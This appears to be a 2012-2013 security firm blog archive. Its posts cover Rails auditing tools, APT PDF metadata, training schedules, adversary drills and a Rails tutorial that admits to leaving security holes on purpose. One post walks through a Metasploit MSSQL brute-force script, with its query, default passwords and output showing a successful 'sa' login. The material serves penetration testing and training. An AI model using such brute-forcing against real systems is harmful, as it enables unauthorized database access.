Friday, April 12, 2013

Rails - Guard, Brakeman, and Bundler-Audit

Thanks to the efforts of Justin Collins (@presidentbeef - Brakeman)  and Hal Brodigan (@postmodern_mod3 - Bundler-Audit), Rails developers (and Sinatra) can use these two tools in tandem with Guard to protect their applications while under development. For those who aren't familiar, Guard was designed to run while you are developing, when you save a file it triggers Guard to run whatever tests you've specified in your Guardfile.

The following video depicts this.

Wednesday, April 10, 2013

Bundler-Audit -> Auditing your RubyGems

Ruby applications that utilize a Gemfile/Gemfile.lock, file(s) that contain the list of ruby gems an application should use along with their respective version number, can now be audited to determine if those libraries are vulnerable.

Credit to postmodern for developing the auditing gem and also to RubySec for creating the ruby-advisory-db, a community maintained database of Ruby gem vulnerabilities for which bundler-audit is built on top of. 

So to install this - 

gem install bundler-audit

to run it, navigate to the directory where the Gemfile.lock is stored:

bundle-audit check

If the application is using a vulnerable version of a gem, the output will look like...
















Thanks,

Ken (@cktricky)











Tuesday, April 9, 2013

Quick way to view ruby gems


This post is a very short and very simple tip for easily opening a ruby gem up for closer inspection.

When reviewing a Rails or Sinatra application (code review), it sometimes becomes necessary to view the libraries (ruby gems) that an application is including and using. Instead of navigating to the ~/.rvm/gems/<version>@<gemset name>  directory (or wherever else the gems are stored) and opening them with your text editor of choice, you can instead leverage the power of bundler.

For your *nix based systems that leverage a bashrc, bash_profile, etc.

open your ~/.bash_profile file (or whatever the appropriate bash file is)

add this line export BUNDLER_EDITOR=mate

I chose "mate" because I use TextMate. Otherwise, just link to the appropriate editor executable.

(exit and save bash_profile)

type: source ~/.bash_profile

Then, navigate to an app that contains the Gemfile, and switch to the gemset or ruby version where these gems are contained, and choose a gem that you want to open...

bundle open <gem name>

That's all there is to it.

Ken (@cktricky)

Monday, March 25, 2013

Next Level Testing

We've been having a good time doing intensive, month long or longer APT simulation tests for people, acting like malicious insiders, using hardware implants, 0days, human enabled malware, etc. Lately, however, we've been playing around with a new type of testing to take things to the next level. This testing has two basic components:

  • Reverse Engineer Testing
  • Network Forensics Testing

The basic idea is to exercise your RE and packet ninjas even harder to make them strong.

On the RE side we create progressively more difficult malware for them to analyze. Here is an example of a ramp up path for this kind of test:

  1. Basic packed binary
  2. Challenging packed binary
  3. Staged unpacker with memory checksums
  4. Binary with analysis detection
    1. Virtualization detection & retaliation
    2. Dynamic analysis tools detection & retaliation
    3. Debugger detection & behavioral changes
      1. Multiple and increasingly difficult debugger detection from IsDebuggerPresent() to execution timers
  5. Strong crypto, slack space and other binary tricks
  6. Phantom routines & dead ends in the code
  7. Exploits against analysis tools
Essentially we infect your systems with progressively more difficult to analyze malware (that we develop ourselves and ensure is safe), causing your in-house analysts to stretch, learn new skills, and practice so that when real world malware hits, you are ready to deal with it.

We pen test your reverse engineer.

(Or your sandbox appliance if you have decided to go that route instead).

On the Network Forensic side we ramp up the difficulty of our command and control and data ex-filtration techniques in order to exercise and improve your network security staff's capabilities in the following ways:

  • Randomized timing & changing beacons
  • Out of band network communications
  • Protocol misuse & covert channels
  • False flag / false signature packets
  • Complex sequencing & esoteric packet based OP codes
  • Port knocking type attacks
  • Encoding & encryption
  • Exploits against network analysis tools

This allows your network forensic analysts to hone their skills looking for anomalous traffic and finding the tricky ways real bad guys hide from detection. It also shows you how effective (or ineffective) your network security appliances such as IDS/IPS are.

All of the tricks and techniques we use for these tests are taken from real world experience in analyzing some of the trickiest malware and the most complex network evasion schemes during incident response events. In addition we throw in some of our own developed methods to keep the analysts on their toes.

This type of testing is most effective as a component to a larger APT simulation but can be done stand alone as well.

At this point in 2013 you probably know what machines on your network need to be patched. You have automated vulnerability scans in place and you have verified and validated scan reports using an exploitation framework. Maybe you've taken that additional step of doing APT simulations to understand your exposure to malicious insiders and sophisticated targeted threats like nation states. However, unless you are testing that final line of defense, the analysts, forensic specialists and anomaly tools, you are still falling behind.

V.


Wednesday, March 20, 2013

APT PDFs and metadata extraction

One of the modules in our new Rapid Reverse Engineering class is artifact extraction.  For this section of the class the students use a python module we create for doing some artifact/metadata extraction from samples.  One of the more interesting pieces of metadata that attackers leave behind is the software that the malicious file was created with. In this case I was looking at some PDFs.  I then realized that I extract this information for individual samples, but I have never run a test on a large set of known APT malware to see what comes out. So a quick adventure I set out on and wow was I surprised by the information.

I ended up with the following pie graph


The sample size was roughly 300+ known APT samples that we have.  It wasn't our whole sample set of PDF's but for starters was a decent size.  List (top 10) looked like this

Acrobat Web Capture 8.0 (15%)
Adobe LiveCycle Designer ES 8.2 (15%)
Acrobat Web Capture 9.0 (8%)
Python PDF Library - http://pybrary.net/pyPdf/ (7%)
Acrobat Distiller 9.0.0 (Windows) (7%)
Acrobat Distiller 6.0.1 (Windows) (7%)
pdfeTeX-1.21a (7%)
Adobe Acrobat 9.2.0 (4%)
Adobe PDF Library 9.0 (4%)

A number of things amazed me about this data. One of them was the lack of opsec on the attackers perspective, and the old versions of software that they are using. From the offensive perspective if you are dealing with targets that have resources to do deep level forensics and operations then every little bit of opsec is needed. It only takes a small amount of data to put together a large piece of the puzzle.

From the defensive position it points out the ability for defense organizations to do some early detection.  I doubt that most organizations are actually keeping track or analyzing what types of clean, business case pdfs come through the front doors.  What do the normal clean pdf's coming through your front doors actually look like?  Are the clean business case PDFs being created by the
"Python PDF Library - http://pybrary.net/pyPdf/" software? This is a piece of software that is no longer maintained. If you have a standard set of pdf's that come through your front doors and they aren't using strange libraries such as pyPDF then it might be time to create a nice little snort signature and alert on it.  I wouldn't recommend blocking at that level (unless you are up for it), but alerting on something simple like that can create extremely large dividends for response/defense teams. Imagine telling your CIO/CISO that you detected and re-mediated APT* attack coming through the front door by a simple snort sig.  

Some of the honorable mentions for that didn't make it into the top 10 are:

Advanced PDF Repair at http://www.pdf-repair.com
Acrobat Web Capture 6.0 (wow that is old)
¦  d o P D F       V e r   6 . 2   B u i l d   2 8 8   ( W i n d o w s   X P     x 3 2 )  *Ya that is the way it show's up
alientools PDF Generator 1.52
PDFlib 7.0.3 (C++/Win32)

I am getting to the point that you must look at data sets and see what type of information you can gleam from them. This idea might be feasible in your organization and it might not, but you as the defender have the ability to determine that for yourself.  

At the end of April (25-26th) we are debuting Rapid Reverse Engineering in New York City with Trail Of Bits http://www.trailofbits.com/training/#rapidre.  Rapid Reverse Engineering is a class designed for helping students learn how to rapidly assess files for incident response scenarios.

Monday, March 4, 2013

Attack Research Training Schedule

We have finalized our training schedule for Attack Research for the year. Below is the schedule for our training's for the rest of the year. We can't promise that more opportunities will pop up but below is a confirmed schedule:

April 16-17th 
Course: Offensive Techniques
Location: Source Boston

April 25th-26th 
Course: Debuting - Rapid Reverse Engineering
Location: New York City at an Attack Research/Trail of Bits training

May 21st-22nd 
Course: Operational Post Exploitation 
Location: Attack Research Headquarters
This is going to be a unique class. As mobile devices are becoming more and more prevalent we will be incorporating this concept into this class. Each student will be getting a Nexus 7 that will be incorporated for use in the class!

June (exact dates TBD)
Course: Rapid Reverse Engineering and Offensive Techniques
Location: London, UK
We are working the details now and will update things when we have new information.  

July 27th-August 1st
Course: Debuting 4 day version of Tactical Exploitation
                          - 2 day version of Tactical Exploitation.  
Location: Blackhat, Las Vegas
We have seen our Tactical Exploitation class fill up quite fast in the recent years so register early!  

September 23-25th
Course: Offensive Techniques
Location: BruCON 2013

October (exact dates TBD)
Course: Offensive Techniques or Rapid Reverse Engineering
Location: Source Seattle

November 4th-6th
Course: Offensive Techniques AND Rapid Reverse Engineering
Location: Countermeasure
Last year we debuted Offensive Techniques at Countermeasure, and this year we will be adding some new content and delivering that class again. Along with Offensive Techniques we will be teaching our new Rapid Reverse Engineering class. Countermeasure was a fantastic conference and look forward to another round of it. 

For more info on each class visit our training page at www.attackresearch.com, or click on the links to register for the class!

Thursday, January 3, 2013

Training Opportunities

We are hosting two training's at the Attack Research Headquarters over the next few months. The first training is our Operational Post Exploitation class which will be January 29th-January 30th.

We have just added Offensive Techniques in February for an available training as well. We will be hosting the training February 26th-February 28th.  More details can be found at our training website.

We are also looking at doing a round of training in the London area in May of this year. Right now we are trying to gauge the interest in this location. If you are interested in taking either Offensive Techniques or Rapid Reverse Engineering in this are please email training@attackresearch.com so that we can gauge interest.

Happy New Year

MSSQL Brute forcing with Resource Scripts

Problem:
How can we brute force MSSQL servers that listen on several different ports without having to manually change the RPORT?

*MSF Pro/Express handle this for you using the database.

Possible Solution:

Use a resource script to populate the values for us.

This will work but we have to get the data in there.

1. Set up the database for metasploit

2. Get a list of servers

OSQL -L

Servers: 
    SEVERNAME1\SQL2000
    SEVERNAME2\SQL2005

OSQL will give you a list of hostnames, we need to turn these hostnames into IP addresses/ranges for mssql_ping.

You can use post/windows/recon/resolve_hostname to a list of hostnames and turn these into IP addresses.


msf  post(resolve_hostname) > run

[*] www.google.com resolves to 173.194.73.106
[*] www.example.com resolves to 192.0.43.10
[-] Failed to resolve test.local
[*] DC1 resolves to 172.16.10.10
[*] SEVERNAME1 resolves to 192.168.237.197
[*] SEVERNAME2 resolves to 192.168.237.211
[*] Post module execution completed


with a list of IP addresses...do mssql_ping


msf  auxiliary(mssql_ping) > run
[*] SQL Server information for 192.168.237.197:
[+]    InstanceName    = MSSQLSERVER
[+]    IsClustered     = No
[+]    tcp             = 1433
[+]    np              = \\servername1\pipe\sql\query
[+]    Version         = 8.00.194
[+]    ServerName      = SEVERNAME1
[*] SQL Server information for 192.168.237.211:
[+]    InstanceName    = INSTANCE1
[+]    IsClustered     = Yes
[+]    tcp             = 2261
[+]    np              = \\servername2\pipe\MSSQL$INSTANCE1\sql\query
[+]    Version         = 10.50.1600.1
[+]    ServerName      = SEVERNAME2


Now we can pull tcp ports out using the db query use the resource script to set the RHOST and RPORT for you per entry. weeeeeee

the query:

begin
framework.db.services.each do |service|
if ( service.name =~ /mssql/i and service.state == 'open' and service.proto == 'tcp')
hosts << {'ip' => service.host.address, 'port' => service.port}
end
end

We can use that query to populate stuff on the fly for us.

example:


[*] Processing mssql_brute.rb for ERB directives.
[*]resource (mssql_brute.rb)> Ruby Code (932 bytes)
USERPASS_FILE => /opt/framework/mssql2.txt
RHOSTS => 192.168.237.197
RPORT => 1433
BRUTEFORCE_SPEED => 2
BLANK_PASSWORDS => false
USER_AS_PASS => false

[*]192.168.237.197:1433 - MSSQL - Starting authentication scanner.
[*]192.168.237.197:1433 MSSQL - [1/6] - Trying username:'sa' with password:''
[-]192.168.237.197:1433 MSSQL - [1/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [2/6] - Trying username:'sa' with password:'sa'
[-]192.168.237.197:1433 MSSQL - [2/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [3/6] - Trying username:'sa' with password:'password'
[-]192.168.237.197:1433 MSSQL - [3/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [4/6] - Trying username:'sa' with password:'sql'
[-]192.168.237.197:1433 MSSQL - [4/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [5/6] - Trying username:'sa' with password:'database'
[-]192.168.237.197:1433 MSSQL - [5/6] - failed to login as 'sa'
[*]192.168.237.197:1433 MSSQL - [6/6] - Trying username:'sa' with password:'mssql'
[-]192.168.237.197:1433 MSSQL - [6/6] - failed to login as 'sa'

RHOSTS => 192.168.237.211
RPORT => 2261
BRUTEFORCE_SPEED => 2
BLANK_PASSWORDS => false
USER_AS_PASS => false

[*]192.168.237.211:2261 - MSSQL - Starting authentication scanner.
[*]192.168.237.211:2261 MSSQL - [1/6] - Trying username:'sa' with password:''
[-]192.168.237.211:2261 MSSQL - [1/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [2/6] - Trying username:'sa' with password:'sa'
[-]192.168.237.211:2261 MSSQL - [2/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [3/6] - Trying username:'sa' with password:'password'
[-]192.168.237.211:2261 MSSQL - [3/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [4/6] - Trying username:'sa' with password:'sql'
[-]192.168.237.211:2261 MSSQL - [4/6] - failed to login as 'sa'
[*]192.168.237.211:2261 MSSQL - [5/6] - Trying username:'sa' with password:'database'
[+]192.168.237.211:2261 - MSSQL - successful login 'sa' : 'database'
[*]192.168.237.211:2261 MSSQL - [6/6] - Trying username:'sa' with password:'mssql'
[-]192.168.237.211:2261 MSSQL - [6/6] - failed to login as 'sa'
[*]Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed


code is available here:
https://github.com/carnal0wnage/Metasploit-Code/blob/master/scripts/resource/mssql_brute.rb

lots of other resource scripts are in the scripts/resources directory in your msf install.
https://github.com/rapid7/metasploit-framework/tree/master/scripts/resource


UPDATE 4 Jan 2013:
merged into metasploit trunk
https://github.com/rapid7/metasploit-framework/pull/1234

Monday, December 31, 2012

Basics of Rails Part 5

If you'd like to skip coding this up or are having issues, you can find the application source code here.

To start at the code which represents the completion of Parts 1-5, do the following:

$ git clone git://github.com/cktricky/attackresearch.git

$ cd attackresearch/

$ git reset --hard 3c3003d0b087d64f60446f74bcb2deedca60691f

$ bundle install

$ rake db:create db:migrate unicorn:start[4444]

=========== Part 5 Code and Walkthrough ==============

The first thing we need to do in this post is correct a mistake in the last post.

Type the following to change the model "Users" to it's singular form "User". If you don't, it will cause problems with Rails routing.

$ rails d model Users

$ rails g model User first_name:string last_name:string email:string password_hash:string password_salt:string admin:boolean

$ rake db:drop

$ rake db:create

$ rvmsudo rake db:migrate


Also, a small but important detail, please ensure within your Gemfile you change:

gem 'bcrypt-ruby', '~> 3.0.0' 

to

gem 'bcrypt-ruby', '~> 3.0.0', :require => 'bcrypt'


Now........back to the series. So, we last left off where a login page was visible when browsing to your site but it didn't really do anything.  Time to rectify that.

Within the Sessions controller, a create method was defined and in it we called the User model's method, "authenticate". We have yet to define this "authenticate" method so let's do that now.

Located at /app/models/user.rb

Also, we are going to add an encrypt method and call it using the "before_save" Rails method. Basically, we are going to instruct the User model to call encrypt_password when the "save" method is called. For example:

me = User.new
me.email = "test@ar.com"
me.password = "test"
me.password_confirmation = "test"
me.save <~ at this point, any "before_save" methods get called

So when you see something like user = User.new and user.save you know that the encrypt_password method will be called by Rails prior to saving the user data because of the "before_save" definition on line 4.


Now we have to add a few more things:

attr_accessor :password

validates_confirmation_of :password
validates_presence_of :password, :on => :create
validates_presence_of :email
validates_uniqueness_of :email

These are basically Rails validation functions that get called when attempting to save the state of an object that represents a User. The exception being "attr_accessor", which is a standard Ruby call that allows an object to be both a getter & setter.

Okay, now let's see what it looks like.


Alright, so now we have a login page that does something but we need to create users. For this application's purpose, we are going to allow user's to signup. Let's provide a link for this purpose on the login page and even further, let's create a navigation bar at the top. We want this navigation bar visible on every page visited by the user. Easiest way to do that is to make it systemic and place it within the application.html.erb file under the layouts folder. Unless overridden, all views will inherit the properties specified in this file (navigation bar, for example).


Located at /app/views/layouts/application.html.erb

Without explaining all of Twitter-Bootstrap, one important thing to note is the class names of the HTML tags (ex: <div class="nav">) are how we associate an HTML element with a Twitter-Bootstrap defined style.

The logic portion, the portion that belongs to Ruby and Rails, are Lines 13 -18. Effectively we are asking if the user (current_user) visiting the page is authenticated (exists), if they are (do exist), show a link to the logout path. Otherwise, render a login and signup path link.

You are probably wondering where link_to and current_user come from. Rails provides built-in methods and you'll notice, in the views, they are typically placed between <%= and %>. So, link_to is a built in method. However, current_user is defined by us within the application controller and is NOT a built-in method.

Located at /app/controllers/application_controller.rb
Notice on line 8 we define a method called current_user. This pulls a user_id value from the Rails session. In order to make the current_user method accessible outside of just this controller and extend it to the view, we have annotated it as a helper_method on line 4.

The next thing we need to do now is actually make the signup page. First, let's modify the attributes that are mass assignable via attr_accessilbe in the user model file.



Next, review the users_controller.rb file and add the methods new & create. When new is called, instantiate a new blank User object (@user). Under the create method, we can modify a new user element leveraging the parameters submitted by the user (email, password, password_confirmation) to create the user. 



Explanation of the Intended Flow - 

  • User clicks "signup" and is sent to /signup (GET request). 
  • User is routed to the "new" action within the "user" controller and then the HTML content is rendered from - /app/views/users/new.html.erb. 
  • Upon filling in the form data presented via new.html.erb, the user clicks "submit" and this data is sent off, this time in a POST request, to /users. 
  • The POST request to /users translates to the "create" action within the "user" controller. 


Now, obviously we are missing something.....we need a signup page! Let's code that up under new.html.erb.


/app/views/users/new.html.erb

The internals of Rails and how we are able to treat @user as an enumerable object and create label tags and text field tags might be a little too complicated for this post. That being said, basically, the @user object (defined in the User controller under the new action - ex: @user = User.new) has properties associated with it such as email, password, and password confirmation. When Rails renders the view, it generates the parameter names based off the code in this file. In the end, the parameters will look like something like user[email] and user[password_confirmation], for example. Here is what the actual request looks like in Burp...


Signup form generated by the code within /app/views/users/new.html.erb

Raw request of signup form submission captured.

Okay, so, now we have registered a user. The last piece here is to have a home page to view after successful authentication and also code the logout link logic so that it actually does something.

In order to do this, let's make a quick change in the sessions controller. Under the create method, we change home_path to home_index_path as well as create a destroy method which calls the Rails method "reset_session" and redirects the user back to the root_url. Also, remove the content within the index action under the home controller.

Okay, here is what I mean...

Session Controller - Note changes on Lines 9 and additions on Lines 16-19.

Home Controller - Note that the code contained within the index action has been removed.
You should be able to complete the authentication flow now! Stayed tuned for Part 6.

Note: If you see any security holes in some of the code shown in this series please remember that's kind of the point and refrain from commenting until later.

Wednesday, December 12, 2012

Your Soldiers are Untrained

People often try to draw analogies between computer security and the military or warfare. Lets put aside for a moment the fact that I don't know anything about the military and continue on with this analogy.

Ask yourself for a moment: "What does the average person in the military spend their time doing?"  And the answer I believe is training, drilling and exercising.  They don't spend the vast majority of their time in heated battle. In fact only small spurts of time, I'd imagine, are spent that way.

Does your defence team spend all its time engaged in cyber battle? If not do they spend most of their time training, exercising and practising for future incidents? If not why not?

In my experience most defensive teams are in meetings, playing with tools, creating presentations, maintaining systems or perhaps doing some ad hoc analysis. Occasionally they might be engaged in research.

It is my belief that much like soldiers, these teams should spend a large majority of their time in training. And the best way to do this training is to have an outside entity play the adversary much like the Airforce Aggressor Squadrons.

From wikipedia: "Aggressor squadrons use enemy tactics, techniques, and procedures to give a realistic simulation of air combat (as opposed to training against one's own forces)." (http://en.wikipedia.org/wiki/Aggressor_squadron)

Traditional penetration testing does NOT use enemy tactics, techniques and procedures. Penetration testing in general these days is simply patch management verification. Penetration testing often focuses on known exploits and real attackers do not. Attackers either use 0days, complex configuration/design issues or malware.

What's nice about the computer security realm is that it is much easier to replicate adversary "equipment" than with aircraft. The best methods to acquire this equipment is to conduct incident response engagements and/or to have global sources that provide samples and intrusion information.

These samples can then be reverse engineered, their functionality recreated and used in ongoing drills to keep defensive teams sharp.

 I have come to believe that defence teams should be constantly drilling against adversary teams. This is the best way they can get better, find institutional deficiencies, improve and validate procedures, etc.  This sort of ongoing training is more expensive than penetration testing for sure, but far outstrips traditional penetration testing in benefits.

- - -

Example Drill:

Day 1:
Adversary team sneaks a person into the client facility and embeds a device that provides a command and control foothold out to the internet.

The C2 is designed to appear like a specific attacker's behaviour such as a beacon which non-SSL encryption cipher over port 443 with a specific user-agent.

Day 2:

The adversary team begins lateral attack using a custom tool similar to psexec along with a special LSASS injection tool.

The team then sets up persistence using a non-public (but used by real attackers) registry related method along with an RDP related backdoor.

Day 3:

Next the team indexes all documents and stores them in a semi-hidden location on the hard drive in a cd sized chunk using a non-english language version of winrar and a password captured from an incident response event. The team searches out, identifies and compromises, systems, users and data of interest. Each drill may have a different target such as PCI, engineering related intellectual property, executive communications.

Day 4:

Finally the team ex-filtrates this data and prepares the notification document.

Day 5:

The team notifies the client that the week's drill is complete, likely has a conference call or VTC and answers questions related to the exercise.  The notification stage includes data that can be used in signatures and alerts such as PCAPS, indicators of compromise, etc. The team and client then discuss what if anything was detected and what could have been done to improve performance, procedures, etc.  Plans to tune and improve defensive system configurations can be developed at this stage as well.

- - -

If your defensive staff is not doing something along these lines at LEAST once a quarter if not once a month then your soldiers are untrained and likely to get slaughtered when its time for the real battle.


V.